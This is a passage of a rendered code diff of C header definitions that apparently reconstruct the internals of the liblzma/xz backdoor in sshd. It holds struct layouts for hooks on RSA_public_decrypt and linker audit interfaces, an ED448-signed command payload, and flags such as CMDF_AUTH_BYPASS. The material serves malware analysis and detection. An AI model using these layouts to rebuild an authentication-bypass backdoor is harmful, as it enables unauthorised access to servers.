1179 typedef struct __attribute__((packed)) global_context {
-
1180  BOOL uses_endbr64;
-
1181  PADDING(4);
-
1185  imported_funcs_t *imported_funcs;
-
1189  libc_imports_t* libc_imports;
-
1199  BOOL disable_backdoor;
-
1200  PADDING(4);
-
1201  sshd_ctx_t *sshd_ctx;
-
1202  struct sensitive_data *sshd_sensitive_data;
-
1203  sshd_log_ctx_t *sshd_log_ctx;
-
1207  char *STR_ssh_rsa_cert_v01_openssh_com;
-
1211  char *STR_rsa_sha2_256;
-
1212  struct monitor **struct_monitor_ptr_address;
-
1213  u32 exit_flag;
-
1214  sshd_offsets_t sshd_offsets;
-
1215 
-
1219  void *sshd_code_start;
-
1223  void *sshd_code_end;
-
1227  void *sshd_data_start;
-
1231  void *sshd_data_end;
-
1232  void *sshd_main;
-
1239  void *lzma_code_start;
-
1246  void *lzma_code_end;
-
1247  u32 uid;
-
1248  PADDING(4);
-
1249  u64 sock_read_buf_size;
-
1250  u8 sock_read_buf[64];
-
1251  u64 payload_data_size;
-
1252  u64 digest_offset;
-
1253  // signed data (size payload_data_size)
-
1254  u8 *payload_data;
-
1255  sshd_payload_ctx_t *sshd_payload_ctx;
-
1256  u32 sshd_host_pubkey_idx;
-
1257  u32 payload_state;
-
1261  u8 secret_data[ED448_KEY_SIZE];
-
1267  u8 shift_operations[31];
-
1271  u32 num_shifted_bits;
-
1272  PADDING(4);
-
1273 } global_context_t;
-
1274 
-
1275 assert_offset(global_context_t, uses_endbr64, 0x0);
-
1276 assert_offset(global_context_t, imported_funcs, 0x8);
-
1277 assert_offset(global_context_t, libc_imports, 0x10);
-
1278 assert_offset(global_context_t, disable_backdoor, 0x18);
-
1279 assert_offset(global_context_t, sshd_ctx, 0x20);
-
1280 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
-
1281 assert_offset(global_context_t, sshd_log_ctx, 0x30);
-
1282 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
-
1283 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
-
1284 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
-
1285 assert_offset(global_context_t, exit_flag, 0x50);
-
1286 assert_offset(global_context_t, sshd_offsets, 0x54);
-
1287 assert_offset(global_context_t, sshd_code_start, 0x58);
-
1288 assert_offset(global_context_t, sshd_code_end, 0x60);
-
1289 assert_offset(global_context_t, sshd_data_start, 0x68);
-
1290 assert_offset(global_context_t, sshd_data_end, 0x70);
-
1291 assert_offset(global_context_t, lzma_code_start, 0x80);
-
1292 assert_offset(global_context_t, lzma_code_end, 0x88);
-
1293 assert_offset(global_context_t, uid, 0x90);
-
1294 assert_offset(global_context_t, sock_read_buf_size, 0x98);
-
1295 assert_offset(global_context_t, sock_read_buf, 0xA0);
-
1296 assert_offset(global_context_t, payload_data_size, 0xE0);
-
1297 assert_offset(global_context_t, digest_offset, 0xE8);
-
1298 assert_offset(global_context_t, payload_data, 0xF0);
-
1299 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
-
1300 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
-
1301 assert_offset(global_context_t, payload_state, 0x104);
-
1302 assert_offset(global_context_t, secret_data, 0x108);
-
1303 assert_offset(global_context_t, shift_operations, 0x141);
-
1304 assert_offset(global_context_t, num_shifted_bits, 0x160);
-
1305 static_assert(sizeof(global_context_t) == 0x168);
-
1306 
-
1307 typedef struct __attribute__((packed)) backdoor_shared_globals {
-
1308  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1312  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1313  global_context_t **globals;
-
1314 } backdoor_shared_globals_t;
-
1315 
-
1316 assert_offset(backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0);
-
1317 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
-
1318 assert_offset(backdoor_shared_globals_t, globals, 0x10);
-
1319 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
-
1320 
-
1321 typedef struct __attribute__((packed)) ldso_ctx {
-
1322  PADDING(0x40);
-
1333  u32 *libcrypto_auditstate_bindflags_ptr;
-
1338  u32 libcrypto_auditstate_bindflags_old_value;
-
1339  PADDING(0x4);
-
1350  u32 *sshd_auditstate_bindflags_ptr;
-
1355  u32 sshd_auditstate_bindflags_old_value;
-
1356  PADDING(0x4);
-
1365  void* sshd_link_map_l_audit_any_plt_addr;
-
1372  u8 link_map_l_audit_any_plt_bitmask;
-
1373  PADDING(0x7);
-
1382  struct audit_ifaces **_dl_audit_ptr;
-
1391  unsigned int *_dl_naudit_ptr;
-
1400  struct audit_ifaces hooked_audit_ifaces;
-
1401  PADDING(0x30);
-
1408  char **libcrypto_l_name;
-
1415  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
-
1420  size_t _dl_audit_symbind_alt__size;
-
1425  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1431  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1436  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1437  imported_funcs_t *imported_funcs;
-
1438  u64 hooks_installed;
-
1439 } ldso_ctx_t;
-
1440 
-
1441 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
-
1442 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
-
1443 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
-
1444 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
-
1445 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
-
1446 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
-
1447 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
-
1448 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
-
1449 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
1450 static_assert(sizeof(struct audit_ifaces) == 0x48);
-
1451 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
-
1452 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
-
1453 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
-
1454 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
-
1455 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
-
1456 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
1457 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
-
1458 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
-
1459 static_assert(sizeof(ldso_ctx_t) == 0x138);
-
1460 
+
1129  PADDING(0x8);
+
1130  void *sshlogv;
+
1131  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
+
1132 } sshd_log_ctx_t;
+
1133 
+
1134 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
+
1135 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
+
1136 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
+
1137 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
+
1138 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
+
1139 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
+
1140 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
+
1141 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
+
1142 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
+
1143 
+
1144 typedef union __attribute__((packed)) sshd_offsets_kex {
+
1145  struct __attribute__((packed)) {
+
1146  u8 kex_qword_index;
+
1147  u8 pkex_offset;
+
1148  };
+
1149  u16 value;
+
1150 } sshd_offsets_kex_t;
+
1151 
+
1152 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
+
1153  struct __attribute__((packed)) {
+
1154  u8 sshbuf_data_qword_index;
+
1155  u8 sshbuf_size_qword_index;
+
1156  };
+
1157  u16 value;
+
1158 } sshd_offsets_sshbuf_t;
+
1159 
+
1160 typedef struct __attribute__((packed)) sshd_offsets_fields {
+
1161  sshd_offsets_kex_t kex;
+
1162  sshd_offsets_sshbuf_t sshbuf;
+
1163 } sshd_offsets_fields_t;
+
1164 
+
1165 typedef struct __attribute__((packed)) sshd_offsets {
+
1166  union {
+
1167  struct {
+
1168  union {
+
1169  sshd_offsets_fields_t fields;
+
1170  u32 value;
+
1171  };
+
1172  };
+
1173  u32 raw_value;
+
1174  };
+
1175 } sshd_offsets_t;
+
1176 
+
1177 typedef struct __attribute__((packed)) sshd_payload_ctx {
+
1178 } sshd_payload_ctx_t;
+
1179 
+
1180 typedef struct __attribute__((packed)) global_context {
+
1181  BOOL uses_endbr64;
+
1182  PADDING(4);
+
1186  imported_funcs_t *imported_funcs;
+
1190  libc_imports_t* libc_imports;
+
1200  BOOL disable_backdoor;
+
1201  PADDING(4);
+
1202  sshd_ctx_t *sshd_ctx;
+
1203  struct sensitive_data *sshd_sensitive_data;
+
1204  sshd_log_ctx_t *sshd_log_ctx;
+
1208  char *STR_ssh_rsa_cert_v01_openssh_com;
+
1212  char *STR_rsa_sha2_256;
+
1213  struct monitor **struct_monitor_ptr_address;
+
1214  u32 exit_flag;
+
1215  sshd_offsets_t sshd_offsets;
+
1216 
+
1220  void *sshd_code_start;
+
1224  void *sshd_code_end;
+
1228  void *sshd_data_start;
+
1232  void *sshd_data_end;
+
1233  void *sshd_main;
+
1240  void *lzma_code_start;
+
1247  void *lzma_code_end;
+
1248  u32 uid;
+
1249  PADDING(4);
+
1250  u64 sock_read_buf_size;
+
1251  u8 sock_read_buf[64];
+
1252  u64 payload_data_size;
+
1253  u64 digest_offset;
+
1254  // signed data (size payload_data_size)
+
1255  u8 *payload_data;
+
1256  sshd_payload_ctx_t *sshd_payload_ctx;
+
1257  u32 sshd_host_pubkey_idx;
+
1258  u32 payload_state;
+
1262  u8 secret_data[ED448_KEY_SIZE];
+
1268  u8 shift_operations[31];
+
1272  u32 num_shifted_bits;
+
1273  PADDING(4);
+
1274 } global_context_t;
+
1275 
+
1276 assert_offset(global_context_t, uses_endbr64, 0x0);
+
1277 assert_offset(global_context_t, imported_funcs, 0x8);
+
1278 assert_offset(global_context_t, libc_imports, 0x10);
+
1279 assert_offset(global_context_t, disable_backdoor, 0x18);
+
1280 assert_offset(global_context_t, sshd_ctx, 0x20);
+
1281 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
+
1282 assert_offset(global_context_t, sshd_log_ctx, 0x30);
+
1283 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
+
1284 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
+
1285 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
+
1286 assert_offset(global_context_t, exit_flag, 0x50);
+
1287 assert_offset(global_context_t, sshd_offsets, 0x54);
+
1288 assert_offset(global_context_t, sshd_code_start, 0x58);
+
1289 assert_offset(global_context_t, sshd_code_end, 0x60);
+
1290 assert_offset(global_context_t, sshd_data_start, 0x68);
+
1291 assert_offset(global_context_t, sshd_data_end, 0x70);
+
1292 assert_offset(global_context_t, lzma_code_start, 0x80);
+
1293 assert_offset(global_context_t, lzma_code_end, 0x88);
+
1294 assert_offset(global_context_t, uid, 0x90);
+
1295 assert_offset(global_context_t, sock_read_buf_size, 0x98);
+
1296 assert_offset(global_context_t, sock_read_buf, 0xA0);
+
1297 assert_offset(global_context_t, payload_data_size, 0xE0);
+
1298 assert_offset(global_context_t, digest_offset, 0xE8);
+
1299 assert_offset(global_context_t, payload_data, 0xF0);
+
1300 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
+
1301 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
+
1302 assert_offset(global_context_t, payload_state, 0x104);
+
1303 assert_offset(global_context_t, secret_data, 0x108);
+
1304 assert_offset(global_context_t, shift_operations, 0x141);
+
1305 assert_offset(global_context_t, num_shifted_bits, 0x160);
+
1306 static_assert(sizeof(global_context_t) == 0x168);
+
1307 
+
1308 typedef struct __attribute__((packed)) backdoor_shared_globals {
+
1309  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1313  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1314  global_context_t **globals;
+
1315 } backdoor_shared_globals_t;
+
1316 
+
1317 assert_offset(backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0);
+
1318 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
+
1319 assert_offset(backdoor_shared_globals_t, globals, 0x10);
+
1320 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
+
1321 
+
1322 typedef struct __attribute__((packed)) ldso_ctx {
+
1323  PADDING(0x40);
+
1334  u32 *libcrypto_auditstate_bindflags_ptr;
+
1339  u32 libcrypto_auditstate_bindflags_old_value;
+
1340  PADDING(0x4);
+
1351  u32 *sshd_auditstate_bindflags_ptr;
+
1356  u32 sshd_auditstate_bindflags_old_value;
+
1357  PADDING(0x4);
+
1366  void* sshd_link_map_l_audit_any_plt_addr;
+
1373  u8 link_map_l_audit_any_plt_bitmask;
+
1374  PADDING(0x7);
+
1383  struct audit_ifaces **_dl_audit_ptr;
+
1392  unsigned int *_dl_naudit_ptr;
+
1401  struct audit_ifaces hooked_audit_ifaces;
+
1402  PADDING(0x30);
+
1409  char **libcrypto_l_name;
+
1416  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
+
1421  size_t _dl_audit_symbind_alt__size;
+
1426  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1432  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1437  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1438  imported_funcs_t *imported_funcs;
+
1439  u64 hooks_installed;
+
1440 } ldso_ctx_t;
+
1441 
+
1442 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+
1443 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+
1444 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+
1445 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+
1446 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+
1447 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+
1448 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
+
1449 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
+
1450 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
1451 static_assert(sizeof(struct audit_ifaces) == 0x48);
+
1452 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
+
1453 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+
1454 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+
1455 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+
1456 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+
1457 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
1458 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
+
1459 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
+
1460 static_assert(sizeof(ldso_ctx_t) == 0x138);
1461 
-
1462 typedef struct __attribute__((packed)) backdoor_hooks_data {
-
1463  ldso_ctx_t ldso_ctx;
-
1464  global_context_t global_ctx;
-
1465  imported_funcs_t imported_funcs;
-
1466  sshd_ctx_t sshd_ctx;
-
1467  libc_imports_t libc_imports;
-
1468  sshd_log_ctx_t sshd_log_ctx;
-
1469  u64 signed_data_size;
-
1470  u8 signed_data;
-
1471 } backdoor_hooks_data_t;
-
1472 
-
1473 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
-
1474 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
-
1475 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
-
1476 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
-
1477 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
-
1478 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
-
1479 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
-
1480 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
-
1481 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
-
1482 
-
1483 typedef enum {
-
1484  SYSLOG_LEVEL_QUIET,
-
1485  SYSLOG_LEVEL_FATAL,
-
1486  SYSLOG_LEVEL_ERROR,
-
1487  SYSLOG_LEVEL_INFO,
-
1488  SYSLOG_LEVEL_VERBOSE,
-
1489  SYSLOG_LEVEL_DEBUG1,
-
1490  SYSLOG_LEVEL_DEBUG2,
-
1491  SYSLOG_LEVEL_DEBUG3,
-
1492  SYSLOG_LEVEL_NOT_SET = -1
-
1493 } LogLevel;
-
1494 typedef void (*log_handler_fn)(
-
1495  LogLevel level,
-
1496  int forced,
-
1497  const char *msg,
-
1498  void *ctx);
-
1499 
-
1500 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
-
1501  PADDING(0x30);
-
1502  backdoor_shared_globals_t *shared;
-
1503  backdoor_hooks_data_t **hooks_data_addr;
-
1504  uintptr_t (*symbind64)(
-
1505  Elf64_Sym *sym, unsigned int ndx,
-
1506  uptr *refcook, uptr *defcook,
-
1507  unsigned int flags, const char *symname);
-
1508  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1509  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1510  log_handler_fn mm_log_handler;
-
1511  PADDING(sizeof(void *));
+
1462 
+
1463 typedef struct __attribute__((packed)) backdoor_hooks_data {
+
1464  ldso_ctx_t ldso_ctx;
+
1465  global_context_t global_ctx;
+
1466  imported_funcs_t imported_funcs;
+
1467  sshd_ctx_t sshd_ctx;
+
1468  libc_imports_t libc_imports;
+
1469  sshd_log_ctx_t sshd_log_ctx;
+
1470  u64 signed_data_size;
+
1471  u8 signed_data;
+
1472 } backdoor_hooks_data_t;
+
1473 
+
1474 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
+
1475 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
+
1476 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
+
1477 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
+
1478 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
+
1479 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
+
1480 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
+
1481 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
+
1482 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
+
1483 
+
1484 typedef enum {
+
1485  SYSLOG_LEVEL_QUIET,
+
1486  SYSLOG_LEVEL_FATAL,
+
1487  SYSLOG_LEVEL_ERROR,
+
1488  SYSLOG_LEVEL_INFO,
+
1489  SYSLOG_LEVEL_VERBOSE,
+
1490  SYSLOG_LEVEL_DEBUG1,
+
1491  SYSLOG_LEVEL_DEBUG2,
+
1492  SYSLOG_LEVEL_DEBUG3,
+
1493  SYSLOG_LEVEL_NOT_SET = -1
+
1494 } LogLevel;
+
1495 typedef void (*log_handler_fn)(
+
1496  LogLevel level,
+
1497  int forced,
+
1498  const char *msg,
+
1499  void *ctx);
+
1500 
+
1501 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
+
1502  PADDING(0x30);
+
1503  backdoor_shared_globals_t *shared;
+
1504  backdoor_hooks_data_t **hooks_data_addr;
+
1505  uintptr_t (*symbind64)(
+
1506  Elf64_Sym *sym, unsigned int ndx,
+
1507  uptr *refcook, uptr *defcook,
+
1508  unsigned int flags, const char *symname);
+
1509  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1510  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1511  log_handler_fn mm_log_handler;
1512  PADDING(sizeof(void *));
-
1513  sshd_monitor_func_t mm_answer_keyallowed;
-
1514  sshd_monitor_func_t mm_answer_keyverify;
-
1515  PADDING(sizeof(void *));
-
1516 } backdoor_hooks_ctx_t;
-
1517 
-
1518 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
-
1519 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
-
1520 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
-
1521 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
-
1522 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
-
1523 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
-
1524 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
-
1525 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
-
1526 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
-
1527 
-
1528 typedef struct __attribute__((packed)) backdoor_setup_params {
-
1529  PADDING(0x8);
-
1530  backdoor_shared_globals_t *shared;
-
1531  backdoor_hooks_ctx_t *hook_params;
-
1532  lzma_check_state dummy_check_state;
-
1533  elf_entry_ctx_t *entry_ctx;
-
1534 } backdoor_setup_params_t;
-
1535 
-
1536 assert_offset(backdoor_setup_params_t, shared, 0x8);
-
1537 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
-
1538 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
-
1539 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
-
1540 
-
1545 typedef struct __attribute__((packed)) elf_handles {
-
1550  elf_info_t *main;
-
1556  elf_info_t *dynamic_linker;
-
1557  elf_info_t *libc;
-
1558  elf_info_t *liblzma;
-
1559  elf_info_t *libcrypto;
-
1560 } elf_handles_t;
-
1561 
-
1562 assert_offset(elf_handles_t, main, 0x0);
-
1563 assert_offset(elf_handles_t, dynamic_linker, 0x8);
-
1564 assert_offset(elf_handles_t, libc, 0x10);
-
1565 assert_offset(elf_handles_t, liblzma, 0x18);
-
1566 assert_offset(elf_handles_t, libcrypto, 0x20);
-
1567 static_assert(sizeof(elf_handles_t) == 0x28);
-
1568 
-
1569 typedef struct __attribute__((packed)) main_elf {
-
1570  elf_handles_t *elf_handles;
-
1571  Elf64_Ehdr *dynamic_linker_ehdr;
-
1572  void **__libc_stack_end;
-
1573 } main_elf_t;
-
1574 
-
1575 assert_offset(main_elf_t, elf_handles, 0x0);
-
1576 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
-
1577 assert_offset(main_elf_t, __libc_stack_end, 0x10);
-
1578 static_assert(sizeof(main_elf_t) == 0x18);
-
1579 
-
1580 typedef struct backdoor_data backdoor_data_t;
-
1581 
-
1585 typedef struct __attribute__((packed)) backdoor_data_handle {
-
1586  backdoor_data_t *data;
-
1587  elf_handles_t *elf_handles;
-
1588 } backdoor_data_handle_t;
-
1589 
-
1590 assert_offset(backdoor_data_handle_t, data, 0x0);
-
1591 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
-
1592 
-
1593 typedef struct __attribute__((packed)) string_item {
-
1597  EncodedStringId string_id;
-
1598  PADDING(4);
-
1602  void *func_start;
-
1606  void *func_end;
-
1610  void *xref;
-
1611 } string_item_t;
-
1612 
-
1613 assert_offset(string_item_t, string_id, 0);
-
1614 assert_offset(string_item_t, func_start, 0x8);
-
1615 assert_offset(string_item_t, func_end, 0x10);
-
1616 assert_offset(string_item_t, xref, 0x18);
-
1617 static_assert(sizeof(string_item_t) == 0x20);
-
1618 
-
1619 typedef struct __attribute__((packed)) string_references {
-
1620  string_item_t entries[27];
-
1621 } string_references_t;
-
1622 
-
1623 assert_offset(string_references_t, entries, 0);
-
1624 static_assert(sizeof(string_references_t) == 0x360);
-
1625 
-
1630 typedef struct __attribute__((packed)) backdoor_data {
-
1635  struct link_map *main_map;
-
1640  struct link_map *dynamic_linker_map;
-
1641  struct link_map *liblzma_map;
-
1642  struct link_map *libcrypto_map;
-
1643  struct link_map *libsystemd_map;
-
1644  struct link_map *libc_map;
-
1645 
-
1646  elf_handles_t elf_handles;
-
1647 
-
1648  backdoor_data_handle_t data_handle;
-
1649 
-
1655  elf_info_t main_info;
-
1661  elf_info_t dynamic_linker_info;
-
1665  elf_info_t libc_info;
-
1666  elf_info_t liblzma_info;
-
1670  elf_info_t libcrypto_info;
-
1671 
-
1675  libc_imports_t libc_imports;
-
1680  string_references_t string_refs;
-
1681  lzma_allocator fake_allocator;
-
1685  lzma_allocator *import_resolver;
-
1686 } backdoor_data_t;
-
1687 
-
1688 assert_offset(backdoor_data_t, main_map, 0);
-
1689 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
-
1690 assert_offset(backdoor_data_t, liblzma_map, 0x10);
-
1691 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
-
1692 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
-
1693 assert_offset(backdoor_data_t, libc_map, 0x28);
-
1694 assert_offset(backdoor_data_t, elf_handles, 0x30);
-
1695 assert_offset(backdoor_data_t, data_handle, 0x58);
-
1696 assert_offset(backdoor_data_t, main_info, 0x68);
-
1697 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
-
1698 assert_offset(backdoor_data_t, libc_info, 0x268);
-
1699 assert_offset(backdoor_data_t, liblzma_info, 0x368);
-
1700 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
-
1701 assert_offset(backdoor_data_t, libc_imports, 0x568);
-
1702 assert_offset(backdoor_data_t, string_refs, 0x5D8);
-
1703 assert_offset(backdoor_data_t, fake_allocator, 0x938);
-
1704 assert_offset(backdoor_data_t, import_resolver, 0x950);
-
1705 static_assert(sizeof(backdoor_data_t) == 0x958);
-
1706 
-
1707 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
-
1708  backdoor_data_t *data;
-
1709  elf_handles_t *elf_handles;
-
1714  void* RSA_public_decrypt_plt;
-
1719  void* EVP_PKEY_set1_RSA_plt;
-
1724  void* RSA_get0_key_plt;
-
1725  backdoor_hooks_data_t **hooks_data_addr;
-
1726  libc_imports_t *libc_imports;
-
1727 } backdoor_shared_libraries_data_t;
-
1728 
-
1729 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
-
1730 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
-
1731 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
-
1732 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
-
1733 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
-
1734 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
-
1735 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
-
1736 
-
1743 typedef union {
-
1745  u32 index;
-
1746  struct {
-
1748  u32 bit_index : 3;
-
1750  u32 byte_index : 29;
-
1751  };
-
1752 } secret_data_shift_cursor_t;
-
1753 
-
1754 typedef struct __attribute__((packed)) secret_data_item {
-
1755  u8 *code;
-
1756  secret_data_shift_cursor_t shift_cursor;
-
1757  u32 operation_index;
-
1758  u32 shift_count;
-
1759  u32 index;
-
1760 } secret_data_item_t;
-
1761 
-
1762 assert_offset(secret_data_item_t, code, 0x0);
-
1763 assert_offset(secret_data_item_t, shift_cursor, 0x8);
-
1764 assert_offset(secret_data_item_t, operation_index, 0xC);
-
1765 assert_offset(secret_data_item_t, shift_count, 0x10);
-
1766 assert_offset(secret_data_item_t, index, 0x14);
-
1767 static_assert(sizeof(secret_data_item_t) == 0x18);
-
1768 
-
1774 typedef struct __attribute__((packed)) key_payload_hdr {
-
1775  u32 field_a;
-
1776  u32 field_b;
-
1777  u64 field_c;
-
1778 } key_payload_hdr_t;
-
1779 
-
1780 typedef union __attribute__((packed)) {
-
1781  u8 value[2];
-
1782  u16 size;
-
1783 } u_cmd_arguments_t;
-
1784 
-
1785 typedef struct __attribute__((packed)) cmd_arguments {
-
1786  u8 flags1;
-
1787  u8 flags2;
-
1788  u8 flags3;
-
1789  u_cmd_arguments_t u;
-
1790 } cmd_arguments_t;
-
1791 
-
1792 typedef struct __attribute__((packed)) key_payload_body {
-
1794  u8 signature[ED448_SIGNATURE_SIZE];
-
1795  cmd_arguments_t args;
-
1796  u8 data[0x1A1];
-
1797 } key_payload_body_t;
-
1798 
-
1799 assert_offset(key_payload_body_t, args, 0x72);
-
1800 
-
1806 typedef struct __attribute__((packed)) key_payload {
-
1807  key_payload_hdr_t header;
-
1808  key_payload_body_t body;
-
1809 } key_payload_t;
-
1810 static_assert(sizeof(key_payload_t) == 0x228);
-
1811 
-
1812 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
-
1813 
-
1814 enum CommandFlags1 {
-
1818  CMDF_8BYTES = 0x1,
-
1822  CMDF_SETLOGMASK = 0x4,
-
1826  CMDF_SOCKET_INDEX = 0x20,
-
1830  CMDF_DISABLE_PAM = 0x40,
-
1834  CMDF_NO_EXTENDED_SIZE = 0x80
-
1835 };
-
1836 
-
1837 enum CommandFlags2 {
-
1842  CMDF_IMPERSONATE = 0x1,
-
1847  CMDF_CHANGE_MONITOR_REQ = 0x2,
-
1851  CMDF_AUTH_BYPASS = 0x4,
-
1856  CMDF_CONTINUATION = 0x40,
-
1861  CMDF_PSELECT = 0xC0,
-
1862 
-
